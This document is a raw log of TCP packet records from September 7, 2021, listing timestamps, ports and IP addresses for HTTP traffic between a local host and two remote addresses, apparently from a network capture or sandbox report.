Sep 7, 2021 16:02:33.909698009 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.909718990 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.909737110 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.909748077 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.909759998 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.909765959 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.909822941 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.939352036 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.939385891 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.939409971 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.939435959 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.939467907 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.939479113 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.939493895 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.939512968 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.939532042 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.939553976 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.939558029 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.939564943 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.939578056 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.939589024 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.939601898 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.939613104 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.939625025 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.939647913 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.939670086 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.939673901 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.939699888 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.939709902 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.939723015 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.939745903 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.939765930 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.939769983 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.939793110 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.939816952 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.939831018 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.939838886 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.939858913 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.939866066 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.939889908 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.939907074 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.939913034 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.939937115 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.939949989 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.939960003 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.939982891 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.940005064 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.940006018 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.940028906 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.940040112 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.940056086 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.940079927 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.940099001 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.969728947 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.969759941 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.969779968 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.969906092 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.969932079 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.969944954 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.969971895 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.969993114 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.970010996 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.970025063 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.970040083 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.970104933 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.970119953 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.970135927 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.970155001 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.970174074 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.970195055 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.970212936 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.970237017 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.970242977 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.970258951 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.970280886 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.970300913 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.970324993 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.970320940 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.970346928 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.970366955 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.970388889 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.970390081 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.970396042 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.970400095 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.970407963 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.970429897 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.970451117 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.970451117 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.970472097 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.970499039 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.970500946 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.970525026 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.970542908 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.970546961 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.970571041 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.970587969 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.970593929 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.970639944 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.970725060 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.970750093 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.970769882 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.970792055 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.970801115 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.970813036 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.970833063 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.970841885 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.970854044 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.970865965 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.970876932 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.970942974 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:33.999825001 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.999851942 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.999867916 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:33.999933004 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:34.000336885 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.000354052 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.000379086 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.000401020 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.000410080 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:34.000447035 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:34.000464916 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.000485897 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.000503063 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.000514984 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:34.000516891 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.000534058 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.000546932 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:34.000549078 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.000566006 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.000577927 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:34.000581980 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.000597000 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.000612974 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:34.000629902 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.000646114 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.000667095 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.000688076 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.000695944 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:34.000708103 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.000713110 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:34.000729084 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.000730991 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:34.000751019 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.000771046 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:34.000988960 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.001008987 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.001024961 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.001040936 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.001056910 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.001071930 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.001085043 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:34.001092911 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.001111031 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.001123905 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.001140118 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.001151085 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.001167059 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.001183033 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.001183033 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:34.001199007 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.001216888 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.001231909 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.001231909 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:34.001246929 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.001249075 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:34.001262903 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.001264095 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:34.001286030 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.001286983 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:34.001308918 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.001312017 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:34.001328945 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.001329899 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:34.001351118 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.001374960 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.001375914 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:34.001390934 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.001405954 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.001441002 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:34.001471043 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:34.029530048 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.029561043 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.029798985 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.029859066 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.030220985 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.030246973 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.030272961 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.030297041 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.030320883 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.030353069 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.030375957 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.030405045 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.030421972 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.030442953 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.030463934 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.030483961 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.030504942 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.030527115 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.030548096 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.030574083 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.030599117 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.030620098 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.030741930 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.030771971 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.030798912 CEST	80	49736	185.183.96.3	192.168.2.4
Sep 7, 2021 16:02:34.030992031 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:34.031021118 CEST	49736	80	192.168.2.4	185.183.96.3
Sep 7, 2021 16:02:34.644052982 CEST	49737	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:34.713604927 CEST	80	49737	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:34.713928938 CEST	49737	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:34.714020967 CEST	49737	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:34.714070082 CEST	49737	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:34.783401012 CEST	80	49737	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:34.979598999 CEST	80	49737	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:34.979624033 CEST	80	49737	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:34.979738951 CEST	49737	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:34.979914904 CEST	49737	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:35.049139977 CEST	80	49737	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:35.064903975 CEST	49738	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:35.136014938 CEST	80	49738	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:35.136169910 CEST	49738	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:35.136454105 CEST	49738	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:35.136466980 CEST	49738	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:35.205787897 CEST	80	49738	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:35.363713980 CEST	80	49738	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:35.363888025 CEST	49738	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:35.363914967 CEST	49738	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:35.412333965 CEST	49739	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:35.431850910 CEST	80	49738	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:35.487155914 CEST	80	49739	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:35.487303972 CEST	49739	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:35.487520933 CEST	49739	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:35.487560034 CEST	49739	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:35.567692041 CEST	80	49739	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:35.682719946 CEST	80	49739	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:35.682791948 CEST	49739	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:35.682872057 CEST	49739	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:35.719130039 CEST	49740	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:35.756181955 CEST	80	49739	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:35.787974119 CEST	80	49740	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:35.788106918 CEST	49740	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:35.788228989 CEST	49740	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:35.788249016 CEST	49740	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:35.857458115 CEST	80	49740	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:35.976763964 CEST	80	49740	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:35.976807117 CEST	80	49740	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:35.976907015 CEST	49740	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:35.976958990 CEST	49740	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.028842926 CEST	49741	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.045639038 CEST	80	49740	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.095650911 CEST	80	49741	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.095818043 CEST	49741	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.095994949 CEST	49741	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.096014977 CEST	49741	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.163028955 CEST	80	49741	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.315047979 CEST	80	49741	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.315167904 CEST	49741	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.315237999 CEST	49741	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.352302074 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.379986048 CEST	80	49741	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.417979956 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.418217897 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.418366909 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.418374062 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.485816956 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.629679918 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.629743099 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.629779100 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.629812956 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.629842997 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.629848003 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.629884005 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.629914045 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.629928112 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.629928112 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.630008936 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.630037069 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.630054951 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.630136967 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.694943905 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.694982052 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.695003986 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.695031881 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.695044994 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.695054054 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.695069075 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.695079088 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.695102930 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.695132017 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.695166111 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.695188046 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.695214033 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.695235968 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.695256948 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.695280075 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.695281029 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.695305109 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.695306063 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.695327044 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.695331097 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.695348978 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.695357084 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.695369959 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.695394993 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.695395947 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.695416927 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.695437908 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.695441008 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.695489883 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.760778904 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.760806084 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.760822058 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.760838032 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.760853052 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.760873079 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.760891914 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.760904074 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.760917902 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.760934114 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.760951996 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.760968924 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.760979891 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.760993958 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.760994911 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.761012077 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.761028051 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.761044025 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.761059999 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.761065960 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.761075974 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.761090994 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.761109114 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.761166096 CEST	49742	80	192.168.2.4	5.188.88.63
